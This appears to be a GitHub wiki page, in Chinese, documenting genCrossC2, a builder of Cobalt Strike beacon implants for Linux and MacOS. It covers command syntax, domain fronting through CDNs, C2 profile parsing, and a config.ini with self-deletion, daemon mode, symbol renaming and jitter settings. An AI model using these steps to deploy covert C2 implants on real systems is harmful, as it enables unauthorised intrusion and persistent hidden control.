-
Notifications
You must be signed in to change notification settings - Fork 348
genCrossC2_zh
hooooooooooook edited this page Aug 2, 2023
·
1 revision
-
当teamserver配置了c2profile时,可选择:
-
- 自动解析c2profile (推荐🔥)
-
- 生成c2profile对应的rebind库
-
-
当使用域前置等转发方式时, 除了(自解析c2profile)/(指定rebind库)外,生成时同样需要注意C2_HOST字段:
- 服务商使用HTTP请求内容进行校验类型时,需指定CDN IP列表:
genCrossC2 1.1.1.1,2.2.2.2,3.3.3.3,xxx.xxx.xxx.xx ...
- 当CDN服务器通过SNI进行校验时,如Cloudflare等CDN运行商,需指定CDN绑定的域名:
genCrossC2 c2.domain.com ...
- 服务商使用HTTP请求内容进行校验类型时,需指定CDN IP列表:
整体命令为:
genCrossC2 <listener-ip/domain> <listener-port> <beacon_keys> <rebind_library;config.ini;c2profile.profile> <target_platform> <target_arch>
<listener-ip/domain>: 是C2连接的HOST
<listener-port>: 是C2连接的PORT
<beacon_keys>: 是teamserver上的隐藏文件`.cobaltstrike.beacon_keys`
<rebind_library;config.ini;c2profile.profile>: 是由;符号分割的多个配置参数,忽略的参数可用`null`或者``代替
<rebind_library>: 是用于自定义协议的动态库
<config.ini>: 是用于控制beacon行为的深度配置,例如函数符号更改,启动自删除,后台模式运行,sleep时间等
<c2profile.profile>: 是用于需要自动解析的c2profile
<target_platform>: 目标生成平台 MacOS/Linux
<target_arch>: 目标平台架构 x86/x64
可直接传入c2profile进行自动解析,无须自己实现rebind库等
$ genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out
当c2profile.profile
中存在多个可用章节时,可使用@
符号选择需要解析的部分
$ genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile@unix-section" Linux x64 beacon.out
同样可自己编写发包流量封装的函数,内部需自己实现相关加解密函数
- 📖wiki
- Demo:
- C2Profile demo 📄demo_c2profile.profile 📄demo_c2profil_rebind.c
- UDP通信 demo 📄demo_udp_proxy_server.c 📄demo_udp_rebind.c
- Issues: 🏷issue #65 (数据传递与c2profile字段对应示例)、🏷issue #89 (数据处理示例)
借助 CrossC2/autoRebind 可以自动解析Malleable C2 profile
配置,生成rebind库的源码
支持了CobaltStrike所有的编解码算法: base64, base64url, mask, netbios, netbiosu
在之前的所有用法上新增了 config.ini 配置
1. genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys null;config.ini MacOS x64 beacon.out
2. genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so;config.ini MacOS x64 beacon.out
3. genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys ;config.ini;c2profile.profile MacOS x64 beacon.out
config.ini 示例:
# 配置 beacon 本身hook的函数符号以及全局配置
[c2_config]
# hook函数
# 初始化 阶段 void cc2_init() {}
cc2_init = aa1
# 错误重连 阶段,传入重连次数 void cc2_retryConnect(int retryCount) {}
cc2_retryConnect = bb
# 协议重绑定库的函数名称自定义
cc2_rebind_get_protocol = cc
cc2_rebind_post_protocol = dd
cc2_rebind_http_get_send = ee3
cc2_rebind_http_get_recv = ff
cc2_rebind_http_post_send = gg
cc2_rebind_http_post_recv = hh
# 一些全局配置
# 运行后是否需要自删除
cc2_auto_delete = false
# 是否需要后台运行
cc2_daemon = false
# sleep时间 (10sec)
sleeptime = 10
# 心跳抖动时间
jitter = 37
# 数据提交抖动时间
data_jitter = 100
# 创建任务的pipe名称(默认 joblist)
job_pipe_name = joblist
# 运行任务的pipe名称(默认 .syspipe)
process_pipe_name = sys_pipe
# 请求的dns服务
dns_server = 8.8.8.8